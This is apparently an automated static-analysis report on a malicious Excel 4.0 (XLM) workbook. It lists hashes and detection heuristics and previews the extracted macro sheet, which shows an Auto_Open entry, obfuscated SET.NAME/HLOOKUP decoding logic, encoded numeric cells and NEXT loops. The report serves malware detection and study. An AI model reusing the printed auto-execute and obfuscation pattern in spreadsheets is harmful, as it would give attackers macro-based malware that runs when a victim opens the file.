Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 766b175dcbf87d35…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:09 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 7492777358e9388cffae9eb8bee5d103 SHA-1: d45f09ec363eb6faeec54d3d5384f574869ecf57 SHA-256: 766b175dcbf87d350fa0b5d101db945f52bffaf463530ab8e1efed9513f2e8c0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6573 bytes
SHA-256: da8037ee10e7a633339cd6ac3be4bf07ed4c3e3b6093aaa3e00883348fcb379d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Xwvp
' 0018     25 LABEL : Cell Value, String Constant - AsKtlObrrl len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D162 
' 0018     23 LABEL : Cell Value, String Constant - AWHNSmbn len=0 
' 0018     20 LABEL : Cell Value, String Constant - eHqJC len=0 
' 0018     26 LABEL : Cell Value, String Constant - EhuszSSkpnz len=0 
' 0018     25 LABEL : Cell Value, String Constant - eMgtBljcNX len=0 
' 0018     26 LABEL : Cell Value, String Constant - GdHuABlzbmZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - gdjXcJXFhBUf len=0 
' 0018     23 LABEL : Cell Value, String Constant - iFiGKPJx len=0 
' 0018     26 LABEL : Cell Value, String Constant - IrWYUiOafGb len=0 
' 0018     21 LABEL : Cell Value, String Constant - JWwRGC len=0 
' 0018     21 LABEL : Cell Value, String Constant - lfbTRl len=0 
' 0018     20 LABEL : Cell Value, String Constant - lLOtF len=0 
' 0018     24 LABEL : Cell Value, String Constant - pYlCHsqbi len=0 
' 0018     20 LABEL : Cell Value, String Constant - RZyJD len=0 
' 0018     22 LABEL : Cell Value, String Constant - sINTWTx len=0 
' 0018     21 LABEL : Cell Value, String Constant - sjqOWx len=0 
' 0018     23 LABEL : Cell Value, String Constant - uxAZiYic len=0 
' 0018     25 LABEL : Cell Value, String Constant - VajdpVCsha len=0 
' 0018     20 LABEL : Cell Value, String Constant - xGjck len=0 
' 0018     24 LABEL : Cell Value, String Constant - yRtbtyQoT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Xwvp,R53,"",412.00000000000000000000
'  Xwvp,R54,"",636.00000000000000000000
'  Xwvp,R55,"",373.00000000000000000000
'  Xwvp,R56,"",2.00000000000000000000
'  Xwvp,R57,"",-777.00000000000000000000
'  Xwvp,R58,"",708.00000000000000000000
'  Xwvp,D75,"SET.NAME("uxAZiYic",0+VALUE("0"))",""
'  Xwvp,D79,"SET.NAME("gdjXcJXFhBUf",uxAZiYic)",""
'  Xwvp,D84,"SET.NAME("IrWYUiOafGb",uxAZiYic)",""
'  Xwvp,D89,"SET.NAME("sINTWTx",COUNTA(JWwRGC))",""
'  Xwvp,D93,"SET.NAME("GdHuABlzbmZ",COUNTA(yRtbtyQoT))",""
'  Xwvp,D95,[],""
'  Xwvp,D97,"SET.NAME("lLOtF","")",""
'  Xwvp,D100,"gdjXcJXFhBUf",""
'  Xwvp,D103,"SET.NAME("eHqJC",HLOOKUP("*",JWwRGC,gdjXcJXFhBUf,FALSE))",""
'  Xwvp,D107,"AsKtlObrrl",""
'  Xwvp,D109,"SET.NAME("AWHNSmbn",uxAZiYic)",""
'  Xwvp,D112,[],""
'  Xwvp,D114,"AWHNSmbn",""
'  Xwvp,D119,"lfbTRl",""
'  Xwvp,D123,"VajdpVCsha",""
'  Xwvp,D126,"pYlCHsqbi",""
'  Xwvp,D129,"SET.NAME("xGjck",VALUE(HLOOKUP("*",yRtbtyQoT,pYlCHsqbi,FALSE)))",""
'  Xwvp,D132,"eMgtBljcNX",""
'  Xwvp,D134,"lLOtF",""
'  Xwvp,D138,"IrWYUiOafGb",""
'  Xwvp,D141,NEXT(),""
'  Xwvp,D146,"RZyJD",""
'  Xwvp,D150,[],""
'  Xwvp,D152,"sjqOWx",""
'  Xwvp,D157,NEXT(),""
'  Xwvp,D160,RETURN(),""
'  Xwvp,D189,"SET.NAME("EhuszSSkpnz",D75)",""
'  Xwvp,D192,"JWwRGC",""
'  Xwvp,D197,"SET.NAME("yRtbtyQoT",R70C11)",""
'  Xwvp,D202,"SET.NAME("sjqOWx",209)",""
'  Xwvp,D205,"SET.NAME("iFiGKPJx",4)",""
'  Xwvp,D208,EhuszSSkpnz(),""
'  Xwvp,D209,HALT(),""

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